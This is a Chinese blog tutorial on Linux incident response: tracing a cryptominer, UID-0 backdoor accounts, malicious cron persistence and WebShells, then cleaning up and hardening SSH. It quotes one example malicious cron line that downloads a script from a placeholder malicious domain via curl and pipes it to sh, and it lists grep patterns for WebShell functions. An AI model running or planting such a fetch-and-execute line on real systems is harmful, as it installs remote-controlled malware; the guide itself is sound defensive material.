服务器被入侵排查全指南:从CPU飙高到揪出恶意进程
2026/9/8 4:00:09 网站建设 项目流程

服务器半夜 CPU 飙到 100%,登录上去一看,多了一个不认识的用户,定时任务里躺着一堆 base64 字符串,网络连接频繁访问境外 IP。这种场景在运维工作中并不少见,网上相关的排查资料虽然多,但大多数只讲了单点命令,缺少一条完整的排查链路。这篇文章就把我自己处理服务器异常时的整套思路整理出来,从现象定位、进程追踪、日志审计到最终加固,完整走一遍,新手照着敲命令也能把“藏”在服务器里的恶人揪出来。

顺手说明一下:下面所有操作都应在你有权管理的服务器上进行,涉及删除、封禁、配置变更时,先确认影响范围,生产环境建议在业务低峰期操作,并提前做好快照或备份。

1. 先搞清楚:服务器里的"恶人"到底指什么

1.1 恶人不是人,是异常行为

“追杀这个服务器的恶人”——听起来像段子,但在服务器运维里,这是很常见的应急响应场景。所谓“恶人”,通常不是某个物理上的人,而是:

  • 被爆破成功的 SSH 登录会话,攻击者拿到了 shell。
  • 被上传的 WebShell,通过网站漏洞获得了命令执行权限。
  • 被植入的挖矿程序,大量占用 CPU 资源。
  • 被添加的后门账号,比如 UID 0 的隐藏管理员。
  • 被篡改的计划任务,用作持久化驻留。
  • 被安装的 Rootkit,隐藏进程、隐藏文件,让常规排查失效。

这些恶意行为有一个共同点:它们会在系统上留下痕迹,只是有的明显,有的隐蔽。排查的过程,就是根据系统表现,一层一层找到这些痕迹,定位到具体进程、文件、用户和网络连接,最后做清理和加固。

1.2 为什么必须掌握这套排查方法

很多开发者习惯了“重启大法”,服务器出问题就重启,或者直接重装系统。但在生产环境里:

  • 重装系统成本高,如果是云服务器,还需要重新部署业务、恢复数据。
  • 不找到入侵路径,重装后可能再次被攻破。
  • 如果服务器已经被用于挖矿、发送垃圾邮件、发起攻击,不及时处置可能影响公网 IP 信誉。

掌握一套系统的排查思路,能帮你快速判断“这服务器到底怎么了”“恶意程序藏在哪里”“怎么防止再犯”。这也是等保测评、企业安全合规里经常考察的应急响应能力。

2. 环境准备与排查工具箱

2.1 本文适用的环境

本文命令以 Linux 系统为例,CentOS 7/8、Ubuntu 18.04/20.04/22.04、Debian 等主流发行版都可以直接使用。涉及的部分命令(如ssjournalctl)在较新系统中是默认安装的,如果提示找不到,用系统自带的包管理器补装即可。

版本不需要刻意统一,重点演示排查思路和命令组合。你在实际服务器上操作时,根据系统提示微调路径和参数即可。

2.2 登录前的准备工作

强烈建议按下面清单准备:

准备项说明
登录方式先通过云控制台 VNC 或带外管理登录,避免恶意程序干扰 SSH 会话
最小权限使用有 sudo 权限的普通用户,避免直接用 root 操作
快照/备份云服务器先打快照,物理机确认备份策略,方便后续回滚
记录工具每执行一条命令,记录输出,方便溯源分析
隔离网络如果服务器异常行为明显,先通过安全组限制出口流量,避免影响其他机器

这里有一个容易忽略的点:如果是被入侵的机器,尽量先保存原始状态,不要急着删文件。很多恶意程序会监控自身文件是否被删除,一旦发现会触发自毁或报复行为。更稳妥的做法是先阻断恶意连接,再采集证据,最后清理。

2.3 常用命令工具清单

下面这些命令几乎是排查的标配,建议提前确认系统中是否已安装:

# 进程与资源 top htop # 如果没安装,可以 apt install htop / yum install htop ps pstree lsof pidstat # 网络 ss netstat lsof -i # 用户与登录 last lastlog who w cat /etc/passwd cat /etc/shadow # 计划任务 crontab -l ls -la /etc/cron.d/ ls -la /var/spool/cron/ # 系统日志 journalctl dmesg tail -f /var/log/secure tail -f /var/log/syslog # 文件查找 find stat rpm -V # CentOS 验证软件包完整性

如果系统里netstat不存在,优先使用ss命令,它是iproute2包提供的,绝大多数系统默认都有。

3. 核心排查思路:从现象到根因的六步法

排查服务器异常,不要上来就猜。我的习惯是把排查流程固定成六步,每一步都有明确目的,不容易遗漏。

3.1 第一步:看负载与进程

异常的第一信号往往是资源占用异常。执行:

top -c

重点关注%CPU%MEM两列。-c参数可以显示完整的命令行,方便判断进程用途。如果发现一个进程 CPU 占用长期接近 100%,而且进程名是随机字符串、或者伪装成系统命令(比如kthreaddpscf),高度可疑。

为了拿到更稳定的采样结果,可以用top的交互模式连续观察几秒:

top -b -n 2 -d 3

-b是批处理模式,-n 2采样两次,-d 3间隔 3 秒。这样能过滤掉瞬时波动的干扰,判断哪些进程是持续占资源的。

3.2 第二步:定位进程详情

拿到可疑进程的 PID 之后,用下面命令查看它的详细信息:

# 查看进程的工作目录 ls -l /proc/PID/cwd # 查看进程启动的可执行文件 ls -l /proc/PID/exe # 查看进程打开的所有文件 ls -l /proc/PID/fd # 查看进程启动命令行 cat /proc/PID/cmdline | tr '\0' ' ' # 查看进程环境变量 cat /proc/PID/environ | tr '\0' '\n'

/proc文件系统是 Linux 暴露内核和进程信息的接口。/proc/PID/exe会直接链接到可执行文件,如果链接指向/tmp/dev/shm/var/tmp等目录,基本可以断定是恶意程序。如果链接显示deleted,说明攻击者已经删除了源文件,但进程还在内存中运行,这种情况需要特殊处理,后面会讲到。

这里也建议记录一下进程的启动时间:

ps -p PID -o pid,lstart,cmd

对比服务器异常开始的时间,能验证这个进程是否是问题的根源。

3.3 第三步:追踪网络连接

恶意程序通常需要和外部的 C2(命令控制)服务器通信,或者被用于对外扫描、攻击。查看网络连接:

ss -antp

重点看ESTABLISHED状态的连接外部 IP 和端口。如果某个进程建立了很多到同一 IP 的连接,或者连接的目标端口很特殊(非 80/443 等常见端口),记录下来,后续通过威胁情报平台查一下这个 IP 是否已经被标记。

如果进程已经退出,但你想确认历史连接,可以查看系统日志或使用类似tcpdump抓包工具,但一般排查到“当前活跃连接”就够了。

3.4 第四步:检查用户与登录记录

攻击者拿到权限后,通常会在系统里创建后门账号,方便下次进入。检查全部用户:

cat /etc/passwd # 只看最近修改过的账户文件 ls -la /etc/passwd /etc/shadow

优先关注:

  • UID 为 0 的非 root 用户。
  • 登录 shell 是/bin/bash的系统账户(正常情况下,系统账户 shell 通常是/sbin/nologin)。
  • 近期被修改过的账户。

查看登录记录:

last -a lastlog

last读取/var/log/wtmp,显示成功登录的记录;lastlog显示每个用户最后一次登录的时间。如果某个用户显示从未登录过,但 passwd 文件里有这个用户,需要警惕。

3.5 第五步:检查计划任务

计划任务是最常见的持久化手段。攻击者把恶意脚本写入 crontab,每隔几分钟执行一次,即使你删掉了原始进程,脚本还会重新拉起来。

逐项检查:

# 当前用户计划任务 crontab -l # root 计划任务 sudo crontab -l # 系统级计划任务目录 ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ # 所有用户计划任务目录 ls -la /var/spool/cron/

查看可疑任务文件内容:

cat /etc/cron.d/可疑文件名 cat /var/spool/cron/root

恶意计划任务通常长这样:

*/5 * * * * curl -fsSL http://恶意域名/x.sh | sh

或者是一串 base64 编码的脚本。看到这种内容,基本可以确认是被植入了定时任务后门。

3.6 第六步:按时间戳寻找异常文件

恶意程序一般会修改系统文件、上传脚本、释放二进制文件。按时间点查找最近被修改的文件,能快速锁定“案发时间”前后的操作痕迹。

# 查找最近 3 天内修改的文件 find / -mtime -3 -type f 2>/dev/null | grep -Ev "^/(proc|sys|dev)" # 查找指定目录下最近修改的文件 find /tmp /var/tmp /dev/shm -type f -mtime -3 -ls # 查找带执行权限的恶意脚本常见目录 ls -la /tmp /var/tmp /dev/shm

/tmp/var/tmp/dev/shm是三个最常见的上传目录,因为默认有写权限,而且不是管理员重点关注的地方。

3.7 六步法的逻辑关系

把上面六步串起来,形成一条完整链路:

现象(CPU高/网络异常) → 定位进程(top/ps) → 查看进程详情(/proc/PID) → 网络连接(ss) → 用户审计(last/passwd) → 持久化排查(crontab/文件时间戳)

这条链路覆盖了“正在运行的恶意程序”和“已经驻留的后门”两大类情况。遇到具体问题时,不一定每步都执行,但按这个顺序排查不容易漏。

4. 完整实战案例:揪出 CPU 飙升的挖矿恶人

下面用一个模拟场景串一遍完整排查过程。假设你收到报警,服务器 CPU 使用率异常升高,登录上去看到有异常进程,接下来怎么做。

4.1 场景描述

服务器信息:

  • 系统:CentOS 7.9
  • 部署业务:一个 Java Web 服务(端口 8080)
  • 异常表现:CPU 使用率 100%,业务响应变慢

所有命令在 root 或 sudo 用户下执行。

4.2 第一步确认异常进程

top -c

输出类似:

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 23137 root 20 0 256m 128m 1024 S 350.0 2.1 100:23.32 /tmp/.X11/unix/kswapd

注意这里有两个异常点:

  • 进程名是kswapd,和系统内核线程kswapd0很像,但多了个0,而且路径在/tmp/.X11/unix/下。
  • 正常内核线程不会出现在/tmp目录,也不会占这么高 CPU。

这时候可以用pstree看进程父子关系:

pstree -ap 23137

输出可能显示它的父进程是1或某个被劫持的服务进程。如果父进程是 1(init 进程),说明它已经脱离终端独立运行,这是守护进程化的典型行为。

4.3 查看进程详情

确认 PID 后,通过/proc查看详细路径:

ls -l /proc/23137/exe ls -l /proc/23137/cwd cat /proc/23137/cmdline | tr '\0' ' '

输出:

/proc/23137/exe -> /tmp/.X11/unix/kswapd (deleted)

看到(deleted)标记,说明恶意程序源文件已被删除,但进程还在运行。这也验证了为什么用find找不到文件。

再看进程打开的网络连接:

ss -antp | grep 23137

发现该进程连接到了45.xxx.xxx.xxx:8443。这个 IP 不是常见的云厂商 IP,也不是你业务依赖的外部服务,需要重点怀疑。

4.4 检查是否有多余用户和登录痕迹

cat /etc/passwd | grep -E "(/bin/bash|/bin/sh)"

输出:

root:x:0:0:root:/root:/bin/bash test:x:0:0:test:/home/test:/bin/bash

这里有一个非常危险的细节:test用户的 UID 是 0。在 Linux 中,UID 为 0 的用户拥有 root 权限,但它的用户名不是 root,这种用户通常不会被管理员注意到,这类账号叫“影子账号”。

接着查看登录记录:

last -a | head -20

如果发现来自陌生 IP 的登录记录,而且时间正好和 CPU 飙升的时间吻合,基本可以确定攻击路径是 SSH 爆破成功。

再查看 SSH 登录日志:

grep "Accepted" /var/log/secure | tail -20

如果大量来自同一 IP 段,说明是爆破成功;如果只有一次登录记录,可能是撞库或泄露密钥。

4.5 检查计划任务

crontab -l cat /etc/cron.d/* ls -la /var/spool/cron/

发现/var/spool/cron/root里有这么一行:

*/3 * * * * /tmp/.X11/unix/update.sh >/dev/null 2>&1

查看这个脚本:

cat /tmp/.X11/unix/update.sh

脚本内容大致是:从远程服务器下载恶意程序,保存到/tmp/.X11/unix/,设置执行权限,然后运行。这就是前文说的“重启复活”机制——你只杀进程不删定时任务,三分钟后又回来了。

4.6 清理与处置

到这里,我们掌握了以下信息:

  • 恶意进程:PID 23137,源文件已删除
  • 恶意文件:/tmp/.X11/unix/update.sh
  • 后门用户:test(UID 0)
  • 恶意连接:45.xxx.xxx.xxx:8443
  • 持久化任务:/var/spool/cron/root中的计划任务

接下来按顺序处置,不要乱:

第一步:阻断网络连接

iptables -A OUTPUT -d 45.xxx.xxx.xxx -j DROP

如果系统使用了 firewalld,也可以使用:

firewall-cmd --permanent --add-rich-rule='rule family="ipv4" destination address="45.xxx.xxx.xxx" drop' firewall-cmd --reload

先阻断恶意 IP 的通信,防止恶意程序向攻击者传输数据或接收指令。

第二步:删除计划任务

crontab -u root -l | grep -v "update.sh" | crontab -u root -

或者直接编辑:

crontab -u root -e

删除那行恶意任务。

第三步:终止恶意进程

确认网络已经阻断后,再终止进程:

kill -9 23137

如果进程会自动重启,配合第二步删除计划任务后,一般不会再复活。如果还在,检查是否有其他守护脚本。

第四步:处理恶意文件

rm -rf /tmp/.X11/unix/update.sh rm -rf /tmp/.X11/unix/

删除前可以先备份一份到安全目录,方便后续分析:

cp -r /tmp/.X11/unix /root/malware_backup/

第五步:删除后门用户

userdel -r test

-r参数同时删除用户家目录和邮件池。执行前确认没有业务使用该用户。

第六步:清理 SSH 相关后门

检查~/.ssh/authorized_keys是否被写入攻击者的公钥:

cat ~/.ssh/authorized_keys

如果发现不明公钥,删除对应行。同时检查其他用户目录:

find /home -name authorized_keys -exec cat {} \;

第七步:修改密码与加固 SSH

passwd root

修改 root 密码为强密码。然后修改 SSH 配置,编辑/etc/ssh/sshd_config

# 禁止 root 登录,建议先确认业务是否有 root 登录需求 PermitRootLogin no # 非默认端口,降低被扫描概率 Port 22022 # 使用密钥登录 PubkeyAuthentication yes PasswordAuthentication no

修改后重启 SSH 服务:

systemctl restart sshd

第八步:验证清理效果

top -c ss -antp crontab -l last -a | head

确认 CPU 恢复正常、恶意连接消失、计划任务干净、没有新的异常登录。

4.7 结果说明

清理完成后,应该能观察到:

  • top中 CPU 占用率明显下降,Java 业务进程恢复到正常范围。
  • ss -antp中不再有指向恶意 IP 的 ESTABLISHED 连接。
  • crontab -l不再显示恶意任务。
  • /var/log/secure不再出现来自恶意 IP 的登录尝试。

这套流程同样适用于其他类型的恶意程序,差别主要在于恶意文件存放路径、计划任务写法、C2 通信端口不同,排查思路完全一致。

5. 高危自查:Web 入口被突破怎么查

很多时候,服务器不是被 SSH 爆破攻破的,而是通过网站漏洞进来的。这时候需要重点查 Web 日志和 WebShell。

5.1 查看 Web 访问日志

如果你使用 Nginx,默认日志路径一般是:

/var/log/nginx/access.log /var/log/nginx/error.log

查找可疑的 POST 请求和上传接口:

grep "POST" /var/log/nginx/access.log | tail -50

查找常见的 WebShell 特征参数:

grep -E "(eval|base64_decode|assert|system|exec|shell_exec)" /var/log/nginx/access.log

如果业务正常,这些函数名很少出现在 URL 中。一旦有大量包含这些参数的请求,说明有人在尝试执行命令。

5.2 查找 WebShell 文件

常见 WebShell 特征:

  • 文件时间戳异常,比如业务上线后突然多出来的 PHP/JSP 文件。
  • 文件中包含evalbase64_decodeassertgzinflate等危险函数。
  • 文件大小很小(几 KB),但内容经过混淆。
  • 隐藏在图片目录、上传目录、静态资源目录中。

根据业务语言选择查找方式,以 PHP 为例:

find /var/www/html -name "*.php" -mtime -30 -newer /var/www/html/index.php -ls grep -rl "eval" /var/www/html --include="*.php" grep -rl "base64_decode" /var/www/html --include="*.php"

需要提醒的是,上面命令输出的文件不一定是恶意文件,要结合创建时间、目录位置、文件内容综合判断。有些 WebShell 会把代码混淆成一段超长字符串,肉眼几乎看不出来,建议先看文件列表,再看可疑文件内容。

5.3 处理 WebShell 后的必要操作

删除 WebShell 只是第一步,更关键的是修复漏洞入口。常见处理项:

  • 升级框架版本,修复已知漏洞。
  • 修改数据库账号密码。
  • 清理上传目录中的可疑文件。
  • 删除不必要的后台管理入口。
  • 给 Web 目录去掉写权限,只保留上传目录可写。

如果 Web 应用是第三方开源系统,建议关注官方安全公告,及时打补丁。不要只在文件层面做处理,否则下次还会被同样的漏洞打进。

6. 常见问题与排查思路速查表

问题现象常见原因解决思路
CPU 持续 100%,但 top 找不到高占用进程Rootkit 隐藏了进程使用htopps -ef交叉验证;检查内核模块;使用云平台监控对比
进程杀了之后会自动重启计划任务、守护脚本、Systemd 服务残留查 crontab、/etc/systemd/system、rc.local、/etc/init.d
找不到恶意文件,但网络连接异常恶意程序源文件已删除,进程仍驻留内存ls -l /proc/PID/exe显示 deleted,先断网再杀进程
多次修改密码后仍然被入侵SSH 密钥泄露或存在其他后门检查 authorized_keys、/etc/ld.so.preload、profile 文件
内网多台服务器同时异常横向扩散,可能有蠕虫或恶意脚本隔离受影响机器,检查防火墙策略,统一变更密码和密钥
服务器文件删不掉,提示权限不足文件属主被 chattr 锁定lsattr查看扩展属性,chattr -i解锁后删除
登录日志被清空攻击者清理了痕迹查看 bash_history、/var/log/btmp、云平台安全记录
计划任务里的脚本内容经过 base64 编码攻击者混淆脚本,躲避查杀复制脚本到安全环境解码分析,不要直接执行

上面表格里的内容,是实际应急响应中出现频率较高的问题。每个问题展开都可以单独写一篇,这里先给出排查方向。

需要额外补充一点:如果服务器被安装了 Rootkit,常规toppsnetstat都可能被篡改,看到的结果是假的。这种情况下建议优先使用云平台提供的行为监控、系统快照,或者挂载救援模式检查文件系统。处理 Rootkit 的工作量远大于普通恶意程序,必要时可以考虑重装系统并恢复干净备份。

7. 最佳实践与工程建议:如何让服务器不再招来恶人

排查和清理是“事后治病”,更重要的是一开始就做好防护。下面这些建议是成本低、效果好的防护措施,生产环境强烈建议逐条落实。

7.1 SSH 最小化暴露

SSH 是服务器最容易被攻击的入口。防护思路是减少暴露面:

  • 使用密钥登录,关闭密码登录(PasswordAuthentication no)。
  • 禁止 root 直接登录,日常操作使用普通用户 + sudo。
  • 修改 SSH 默认端口,降低自动化扫描命中率。
  • 使用 fail2ban 监测多次认证失败并自动封禁 IP。
  • 安全组层面限制 SSH 来源 IP,只允许公司出口 IP 访问。

这是性价比最高的一组配置。实施时注意先添加自己的公钥再关闭密码登录,否则会把自己锁在外面。

7.2 软件和系统补丁管理

大量入侵事件的根因是使用了存在已知漏洞的旧版本软件。建议:

  • 操作系统定期执行安全更新。
  • 中间件(Nginx、Tomcat、Apache)关注官方安全公告。
  • 开发框架和依赖库及时升级,特别是 Java、PHP、Node.js 语言的第三方包。
  • 不再使用的服务、接口、账号及时下线。

对于业务无法立即升级的情况,至少要在 Web 应用入口加 WAF 规则或 IPS 策略,减小被利用的风险。

7.3 日志与监控

服务器异常的第一个信号往往来自监控系统。如果没有监控,你可能会在恶意程序运行几天甚至几周后才发现问题。建议部署:

  • CPU、内存、磁盘、带宽的基础监控,设置合理阈值告警。
  • SSH 登录成功/失败告警。
  • 文件完整性校验,针对/etc/passwd/etc/shadow/etc/crontab、Web 目录做周期性校验。
  • 集中日志收集(比如 ELK/Loki),即使攻击者清理了单机日志,也能从远端找回。

日志保存周期建议不少于 6 个月,等保二级及以上要求更长的保留周期。云平台自带的安全日志也是一个重要数据源,攻击者很难修改云平台侧的记录。

7.4 权限与账号管理

服务器账号管理的核心原则是最小权限:

  • 每个开发者使用独立账号,不共享 root。
  • 离职或转岗人员,及时清理账号和密钥。
  • 内部账号绑定个人公钥,方便审计到人。
  • 使用 sudo 时授予最小命令集,而不是sudo ALL=(ALL) ALL
  • 数据库账号遵循同样原则,应用账号只授权业务需要的库表。

7.5 Web 应用安全加固

Web 应用是攻击者的重要入口。以下配置能显著降低风险:

  • 上传目录禁止执行脚本。
  • 服务以低权限用户运行,不给 Web 用户写整个应用目录的权限。
  • 登录后台启用验证码和限流,避免暴力破解。
  • 不直接暴露数据库端口到公网。
  • 生产环境关闭调试模式和详细报错页面。

如果想验证自己的应用是否安全,可以定期做一次漏洞扫描,或者在授权的前提下进行渗透测试。

7.6 备份与恢复演练

备份是应急响应的最后一道防线。很多企业在被入侵后选择重装系统,此时备份质量直接决定恢复速度。建议:

  • 数据库至少每天全量备份,重要业务开启 binlog 实时备份。
  • 配置文件和代码上传到版本库或对象存储,保证可追溯。
  • 备份数据与服务器隔离存放,防止被攻击者一起删除。
  • 每季度做一次恢复演练,确认备份不是“备而不恢”。

8. 写在最后

“追杀这个服务器的恶人”听起来像是玩笑话,但真正经历过服务器被黑的同学都知道,那是一整晚的紧张排查和反复确认。本文整理了一套从现象到根因的排查方法论,核心就总结成几个字:先看负载,再追进程,三查网络,四审账号,五清计划任务,最后补上防护短板。

这套流程不复杂,难的是在紧急情况下保持冷静,一步一步按顺序执行。建议你在自己的测试服务器上把相关命令跑一遍,不一定要等出事才练习,提前模拟一遍“CPU 飙升”“多出后门用户”“计划任务异常”的排查,真正遇到问题时能节省大量时间。

如果你在排查中遇到特殊的恶意程序或更复杂的隐藏手段,欢迎在评论区带上现象描述一起讨论。下一篇可以接着写 Rootkit 检测、WebShell 特征库这类更深入的应急响应主题,有新进展会再更新。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询